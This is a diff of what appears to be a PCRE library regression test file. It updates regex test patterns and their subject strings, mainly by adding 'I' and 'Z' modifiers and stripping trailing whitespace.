+/(abc|bac)/I
 
-/(abc|(c|dc))/
+/(abc|(c|dc))/I
 
-/(abc|(d|de)c)/
+/(abc|(d|de)c)/I
 
-/a*/
+/a*/I
 
-/a+/
+/a+/I
 
-/(baa|a+)/
+/(baa|a+)/I
 
-/a{0,3}/
+/a{0,3}/I
 
-/baa{3,}/
+/baa{3,}/I
 
-/"([^\\"]+|\\.)*"/
+/"([^\\"]+|\\.)*"/I
 
-/(abc|ab[cd])/
+/(abc|ab[cd])/I
 
-/(a|.)/
+/(a|.)/I
 
-/a|ba|\w/
+/a|ba|\w/I
 
-/abc(?=pqr)/
+/abc(?=pqr)/I
 
-/...(?<=abc)/
+/...(?<=abc)/I
 
-/abc(?!pqr)/
+/abc(?!pqr)/I
 
-/ab./
+/ab./I
 
-/ab[xyz]/
+/ab[xyz]/I
 
-/abc*/
+/abc*/I
 
-/ab.c*/
+/ab.c*/I
 
-/a.c*/
+/a.c*/I
 
-/.c*/
+/.c*/I
 
-/ac*/
+/ac*/I
 
-/(a.c*|b.c*)/
+/(a.c*|b.c*)/I
 
-/a.c*|aba/
+/a.c*|aba/I
 
-/.+a/
+/.+a/I
 
-/(?=abcda)a.*/
+/(?=abcda)a.*/I
 
-/(?=a)a.*/
+/(?=a)a.*/I
 
-/a(b)*/
+/a(b)*/I
 
-/a\d*/
+/a\d*/I
 
-/ab\d*/
+/ab\d*/I
 
-/a(\d)*/
+/a(\d)*/I
 
-/abcde{0,0}/
+/abcde{0,0}/I
 
-/ab\d+/
+/ab\d+/I
 
-/a(?(1)b)/
+/a(?(1)b)(.)/I
 
-/a(?(1)bag|big)/
+/a(?(1)bag|big)(.)/I
 
-/a(?(1)bag|big)*/
+/a(?(1)bag|big)*(.)/I
 
-/a(?(1)bag|big)+/
+/a(?(1)bag|big)+(.)/I
 
-/a(?(1)b..|b..)/
+/a(?(1)b..|b..)(.)/I
 
-/ab\d{0}e/
+/ab\d{0}e/I
 
-/a?b?/
+/a?b?/I
     a
     b
     ab
     \
     *** Failers
-    \N     
-    
-/|-/
+    \N
+
+/|-/I
     abcd
     -abc
     \Nab-c
     *** Failers
-    \Nabc     
+    \Nabc
 
-/a*(b+)(z)(z)/P
+/a*(b+)(z)(z)/IP
     aaaabbbbzzzz
     aaaabbbbzzzz\O0
     aaaabbbbzzzz\O1
@@ -601,9 +601,9 @@
     aaaabbbbzzzz\O3
     aaaabbbbzzzz\O4
     aaaabbbbzzzz\O5
-    
-/^.?abcd/S 
 
+/^.?abcd/IS
+
 /\(             # ( at start
   (?:           # Non-capturing bracket
   (?>[^()]+)    # Either a sequence of non-brackets (no backtracking)
@@ -611,343 +611,343 @@
   (?R)          # Recurse - i.e. nested bracketed string
   )*            # Zero or more contents
   \)            # Closing )
-  /x
+  /Ix
     (abcd)
     (abcd)xyz
     xyz(abcd)
-    (ab(xy)cd)pqr 
-    (ab(xycd)pqr 
-    () abc () 
+    (ab(xy)cd)pqr
+    (ab(xycd)pqr
+    () abc ()
     12(abcde(fsh)xyz(foo(bar))lmno)89
     *** Failers
-    abcd 
+    abcd
     abcd)
-    (abcd  
+    (abcd
 
-/\(  ( (?>[^()]+) | (?R) )* \) /xg
-    (ab(xy)cd)pqr 
+/\(  ( (?>[^()]+) | (?R) )* \) /Ixg
+    (ab(xy)cd)pqr
     1(abcd)(x(y)z)pqr
 
-/\(  (?: (?>[^()]+) | (?R) ) \) /x
+/\(  (?: (?>[^()]+) | (?R) ) \) /Ix
     (abcd)
     (ab(xy)cd)
-    (a(b(c)d)e) 
-    ((ab)) 
+    (a(b(c)d)e)
+    ((ab))
     *** Failers
-    ()   
+    ()
 
-/\(  (?: (?>[^()]+) | (?R) )? \) /x
+/\(  (?: (?>[^()]+) | (?R) )? \) /Ix
     ()
     12(abcde(fsh)xyz(foo(bar))lmno)89
 
-/\(  ( (?>[^()]+) | (?R) )* \) /x
+/\(  ( (?>[^()]+) | (?R) )* \) /Ix
     (ab(xy)cd)
 
-/\( ( ( (?>[^()]+) | (?R) )* ) \) /x
+/\( ( ( (?>[^()]+) | (?R) )* ) \) /Ix
     (ab(xy)cd)
 
-/\( (123)? ( ( (?>[^()]+) | (?R) )* ) \) /x
+/\( (123)? ( ( (?>[^()]+) | (?R) )* ) \) /Ix
     (ab(xy)cd)
     (123ab(xy)cd)
 
-/\( ( (123)? ( (?>[^()]+) | (?R) )* ) \) /x
+/\( ( (123)? ( (?>[^()]+) | (?R) )* ) \) /Ix
     (ab(xy)cd)
     (123ab(xy)cd)
 
-/\( (((((((((( ( (?>[^()]+) | (?R) )* )))))))))) \) /x
+/\( (((((((((( ( (?>[^()]+) | (?R) )* )))))))))) \) /Ix
     (ab(xy)cd)
 
-/\( ( ( (?>[^()<>]+) | ((?>[^()]+)) | (?R) )* ) \) /x
+/\( ( ( (?>[^()<>]+) | ((?>[^()]+)) | (?R) )* ) \) /Ix
     (abcd(xyz<p>qrs)123)
 
-/\( ( ( (?>[^()]+) | ((?R)) )* ) \) /x
+/\( ( ( (?>[^()]+) | ((?R)) )* ) \) /Ix
     (ab(cd)ef)
     (ab(cd(ef)gh)ij)
 
-/^[[:alnum:]]/D
+/^[[:alnum:]]/DZ
 
-/^[[:^alnum:]]/D
+/^[[:^alnum:]]/DZ
 
-/^[[:alpha:]]/D
+/^[[:alpha:]]/DZ
 
-/^[[:^alpha:]]/D
-             
+/^[[:^alpha:]]/DZ
+
 /[_[:alpha:]]/IS
 
-/^[[:ascii:]]/D
+/^[[:ascii:]]/DZ
 
-/^[[:^ascii:]]/D
+/^[[:^ascii:]]/DZ
 
-/^[[:blank:]]/D
+/^[[:blank:]]/DZ
 
-/^[[:^blank:]]/D
+/^[[:^blank:]]/DZ
 
 /[\n\x0b\x0c\x0d[:blank:]]/IS
 
-/^[[:cntrl:]]/D
+/^[[:cntrl:]]/DZ
 
-/^[[:digit:]]/D
+/^[[:digit:]]/DZ
 
-/^[[:graph:]]/D
+/^[[:graph:]]/DZ
 
-/^[[:lower:]]/D
+/^[[:lower:]]/DZ
 
-/^[[:print:]]/D
+/^[[:print:]]/DZ
 
-/^[[:punct:]]/D
+/^[[:punct:]]/DZ
 
-/^[[:space:]]/D
+/^[[:space:]]/DZ
 
-/^[[:upper:]]/D
+/^[[:upper:]]/DZ
 
-/^[[:xdigit:]]/D
+/^[[:xdigit:]]/DZ
 
-/^[[:word:]]/D
+/^[[:word:]]/DZ
 
-/^[[:^cntrl:]]/D
+/^[[:^cntrl:]]/DZ
 
-/^[12[:^digit:]]/D
+/^[12[:^digit:]]/DZ
 
-/^[[:^blank:]]/D
+/^[[:^blank:]]/DZ
 
-/[01[:alpha:]%]/D
+/[01[:alpha:]%]/DZ
 
-/[[.ch.]]/
+/[[.ch.]]/I
 
-/[[=ch=]]/
+/[[=ch=]]/I
 
-/[[:rhubarb:]]/
+/[[:rhubarb:]]/I
 
-/[[:upper:]]/i
+/[[:upper:]]/Ii
     A
-    a 
-    
-/[[:lower:]]/i
+    a
+
+/[[:lower:]]/Ii
     A
-    a 
+    a
 
-/((?-i)[[:lower:]])[[:lower:]]/i
+/((?-i)[[:lower:]])[[:lower:]]/Ii
     ab
     aB
     *** Failers
     Ab
-    AB        
+    AB
 
-/[\200-\110]/
+/[\200-\110]/I
 
-/^(?(0)f|b)oo/
+/^(?(0)f|b)oo/I
 
-/This one's here because of the large output vector needed/
+/This one's here because of the large output vector needed/I
 
-/(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\w+)\s+(\270)/
+/(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\w+)\s+(\270)/I
     \O900 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 ABC ABC
 
-/This one's here because Perl does this differently and PCRE can't at present/
+/This one's here because Perl does this differently and PCRE can't at present/I
 
-/(main(O)?)+/
+/(main(O)?)+/I
     mainmain
     mainOmain
-    
-/These are all cases where Perl does it differently (nested captures)/
 
-/^(a(b)?)+$/
+/These are all cases where Perl does it differently (nested captures)/I
+
+/^(a(b)?)+$/I
     aba
-   
-/^(aa(bb)?)+$/
-    aabbaa    
-    
-/^(aa|aa(bb))+$/
-    aabbaa 
-    
-/^(aa(bb)??)+$/
-    aabbaa    
-    
-/^(?:aa(bb)?)+$/
-    aabbaa    
-    
-/^(aa(b(b))?)+$/
-    aabbaa    
 
-/^(?:aa(b(b))?)+$/
-    aabbaa    
+/^(aa(bb)?)+$/I
+    aabbaa
 
-/^(?:aa(b(?:b))?)+$/
-    aabbaa    
+/^(aa|aa(bb))+$/I
+    aabbaa
 
-/^(?:aa(bb(?:b))?)+$/
-    aabbbaa    
-    
-/^(?:aa(b(?:bb))?)+$/
-    aabbbaa    
+/^(aa(bb)??)+$/I
+    aabbaa
 
-/^(?:aa(?:b(b))?)+$/
-    aabbaa    
+/^(?:aa(bb)?)+$/I
+    aabbaa
 
-/^(?:aa(?:b(bb))?)+$/
-    aabbbaa    
+/^(aa(b(b))?)+$/I
+    aabbaa
 
-/^(aa(b(bb))?)+$/
-    aabbbaa    
+/^(?:aa(b(b))?)+$/I
+    aabbaa
 
-/^(aa(bb(bb))?)+$/
-    aabbbbaa    
+/^(?:aa(b(?:b))?)+$/I
+    aabbaa
 
-/--------------------------------------------------------------------/ 
-    
-/#/xMD
+/^(?:aa(bb(?:b))?)+$/I
+    aabbbaa
 
-/a#/xMD
+/^(?:aa(b(?:bb))?)+$/I
+    aabbbaa
 
-/[\s]/D
+/^(?:aa(?:b(b))?)+$/I
+    aabbaa
 
-/[\S]/D
+/^(?:aa(?:b(bb))?)+$/I
+    aabbbaa
 
-/a(?i)b/D
+/^(aa(b(bb))?)+$/I
+    aabbbaa
+
+/^(aa(bb(bb))?)+$/I
+    aabbbbaa
+
+/--------------------------------------------------------------------/I
+
+/#/IxDZ
+
+/a#/IxDZ
+
+/[\s]/DZ
+
+/[\S]/DZ
+
+/a(?i)b/DZ
     ab
     aB
-    *** Failers 
-    AB  
+    *** Failers
+    AB
 
-/(a(?i)b)/D
+/(a(?i)b)/DZ
     ab
     aB
-    *** Failers 
-    AB  
-    
-/   (?i)abc/xD
+    *** Failers
+    AB
 
+/   (?i)abc/IxDZ
+
 /#this is a comment
-  (?i)abc/xD
+  (?i)abc/IxDZ
 
-/123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/D
+/123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/DZ
 
-/\Q123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/D
+/\Q123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/DZ
 
-/\Q\E/D
+/\Q\E/DZ
     \
 
-/\Q\Ex/D
+/\Q\Ex/DZ
 
-/ \Q\E/D
+/ \Q\E/DZ
 
-/a\Q\E/D
+/a\Q\E/DZ
   abc
   bca
-  bac  
+  bac
 
-/a\Q\Eb/D
+/a\Q\Eb/DZ
   abc
 
-/\Q\Eabc/D
+/\Q\Eabc/DZ
 
-/x*+\w/D
+/x*+\w/DZ
     *** Failers
     xxxxx
-    
-/x?+/D
 
-/x++/D
+/x?+/DZ
 
-/x{1,3}+/D 
+/x++/DZ
 
-/(x)*+/D
+/x{1,3}+/DZ
 
-/^(\w++|\s++)*$/
+/(x)*+/DZ
+
+/^(\w++|\s++)*$/I
     now is the time for all good men to come to the aid of the party
     *** Failers
     this is not a line with only words and spaces!
-    
-/(\d++)(\w)/
+
+/(\d++)(\w)/I
     12345a
     *** Failers
-    12345+ 
+    12345+
 
-/a++b/
+/a++b/I
     aaab
 
-/(a++b)/
+/(a++b)/I
     aaab
 
-/(a++)b/
+/(a++)b/I
     aaab
 
-/([^()]++|\([^()]*\))+/
+/([^()]++|\([^()]*\))+/I
     ((abc(ade)ufh()()x
-    
-/\(([^()]++|\([^()]+\))+\)/ 
+
+/\(([^()]++|\([^()]+\))+\)/I
     (abc)
     (abc(def)xyz)
     *** Failers
-    ((()aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa   
+    ((()aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 
-/(abc){1,3}+/D
+/(abc){1,3}+/DZ
 
-/a+?+/
+/a+?+/I
 
-/a{2,3}?+b/
+/a{2,3}?+b/I
 
-/(?U)a+?+/
+/(?U)a+?+/I
 
-/a{2,3}?+b/U
+/a{2,3}?+b/IU
 
-/x(?U)a++b/D
+/x(?U)a++b/DZ
     xaaaab
 
-/(?U)xa++b/D
+/(?U)xa++b/DZ
     xaaaab
 
-/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/D
+/^((a+)(?U)([ab]+)(?-U)([bc]+)(\w*))/DZ
 
-/^x(?U)a+b/D
+/^x(?U)a+b/DZ
 
-/^x(?U)(a+)b/D
+/^x(?U)(a+)b/DZ
 
-/[.x.]/
+/[.x.]/I
 
-/[=x=]/
+/[=x=]/I
 
-/[:x:]/
+/[:x:]/I
 
-/\l/
+/\l/I
 
-/\L/
+/\L/I
 
-/\N{name}/
+/\N{name}/I
 
-/\u/
+/\u/I
 
-/\U/
+/\U/I
 
-/[/
+/[/I
 
-/[a-/
+/[a-/I
 
-/[[:space:]/
+/[[:space:]/I
 
-/[\s]/DM
+/[\s]/IDZ
 
-/[[:space:]]/DM
+/[[:space:]]/IDZ
 
-/[[:space:]abcde]/DM
+/[[:space:]abcde]/IDZ
 
-/< (?: (?(R) \d++  | [^<>]*+) | (?R)) * >/x
+/< (?: (?(R) \d++  | [^<>]*+) | (?R)) * >/Ix
     <>
     <abcd>
     <abc <123> hij>
     <abc <def> hij>
-    <abc<>def> 
-    <abc<>      
+    <abc<>def>
+    <abc<>
     *** Failers
     <abc
 
-|8J\$WE\<\.rX\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|DM
